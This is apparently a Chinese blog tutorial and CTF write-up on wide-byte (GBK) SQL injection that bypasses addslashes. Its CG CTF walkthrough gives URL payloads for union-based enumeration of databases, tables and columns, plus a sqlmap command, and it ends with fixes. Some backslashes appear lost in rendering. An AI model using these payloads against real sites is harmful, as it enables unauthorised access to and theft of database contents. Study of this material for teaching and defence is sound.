0x01 前言
准备系统梳理和总结提高这一年所学的关于 Web 方面东西,如有问题欢迎指点。
在计算机中,字符的表示与存储都离不开编码。例如 ASCII,utf-8,gbk2312 等。通常字符的表示都只需 1 字节。但也有如 gbk2312 这种需要 2 字节来表示的编码格式,这种我们称之为 宽字节。
所谓宽字节注入,可能存在于以 gbk 编码存储数据的 sql 数据库中。在实际站点中已经比较少见(常见于学校远古破站),而且修复方案很简单。在 CTF 中属于入门的 sql 注入题目。
0x02 宽字节注入原理分析
0x01 认识 addslashes
在基于 php 对 sql 注入的防御里,总会提到这个函数。
addslashes (string $str) : string
在 php 官方文档中,对该函数的说明如下:
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)。
举例:
<?php
$str = "Is your name O'reilly?";
// 输出:Is your name O\'reilly?
echo addslashes($str);
?>
对于最简单的字符型数字型注入,经改函数转义的 sql 语句确实会“卡死“单引号。(构造攻击的 sql 语句不会执行)
但对于该函数的绕过,其实并不困难,无非两点:
1. 在前面再加一个(或单数个),变成(‘), 可以导致被转义,从而让‘逃出限制。
2. 把弄没。**
在下面的例子中你可以体会到,若是该数据库采用了宽字节的编码,这个函数就变成了纸老虎。
0x02 宽字节注入原理
宽字节注入利用了 mysql 一个特性,即当 mysql 在使用 GBK 编码的时候,会认为两个字符是一个汉字 。(前一个 ASCII 码 要大于 128,才到汉字的范围)
先了解一下这些字符的 url 编码:
当输入单引号,经 addslashes 转义后,对应的 url 编码是:
‘–> \’ –> %5C%27
当在前面引入一个 ASCII 大于 128 的字符(比如 %df),url 编码变为:
%df –> %df \ ‘ –>(%df%5C)%27
若使用 gbk 编码的话,%df%5C 会被当作一个汉字处理,从而使 %27(单引号)逃出生天,成功绕过
我们用 url 编码来研究一下:
当使用 gbk 编码,可以看到一个汉字占了 2 个字节。
来对 \’ 编码一下:
现在在前面加上 %df,可以看到 %df%5C 被当成了汉字,单引号成功逃脱:
0x03 宽字节注入利用释例
这里以南邮 ctf(CG CTF)一道 Web 题:SQL-GBK 为例。
输入 id=1’,可以看到’被变成了 \’, 是 addslashes
函数转义的结果。
用上文讲到的方法,构造 id=1%df’,id=1%aa’,成功报错
下面可以就是常规的手工注入了,不太清楚的可以参考网上一些文章,如:https://blog.csdn.net/Litbai_zhang/article/details/83869918
首先构造 order by 语句尝试获得列数,注意最后要用闭合(注释掉后面的语句,不让其影响构造语句执行)
常见的闭合手段有:井号,–+ 等。
这里用井号,用 %23 来表示,否则可能解析不了
?id=1%aa' order by 2 %23
3 已经报错了,可以知道列数(字段数)为 2.
继续用 union 来判断数据的显示位置:
对于这一步有一篇文章写的很好,推荐一下:https://blog.csdn.net/weixin_44840696/article/details/89166154
?id=999%aa' union select 1,2 %23
知道了回显的位置是 2.
下一步,把 2 改成 database(),成功获取库名:sae-chinalover
?id=999%aa' union select 1,database() %23
继续跟进,查表名。(不放链接了,不太清楚可以百度下 mysql 自身的系统库结构与读取信息的函数):
注意:因为单引号会被转义,所以直接令 table_schema= 库名是行不通的。
?id=999%aa'union select 1,group_concat(table_name) from information_schema.tables where table_schema ='sae-chinalover' %23
可以把库名代替为 database()。成功获取表名。
?id=999%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() %23
下一步爆字段,把四个表的字段依次爆一遍,在 ctf4 中发现有 flag 字段:
?id=999%aa' union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x63746634 %23
查询一下,成功获取 flag。
顺便一题,这道题目也可以用 sqlmap 直接跑。把你构造的宽字符绕过语句扔上去就行了。以爆库名为例:
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%aa%27" --current-db
0x04 宽字节注入的防御
对于宽字节注入,有一种最好的修补就是:
(1)使用 mysql_set_charset(GBK)
指定字符集
(2)使用 mysql_real_escape_string
进行转义
mysql_real_escape_string
与 addslashes
的不同之处在于其会考虑当前设置的字符集。不会出现把 %aa%5c 拼接为一个宽字节的问题。
所以用 mysql_set_charset
对当前字符集进行指定,然后转义即可。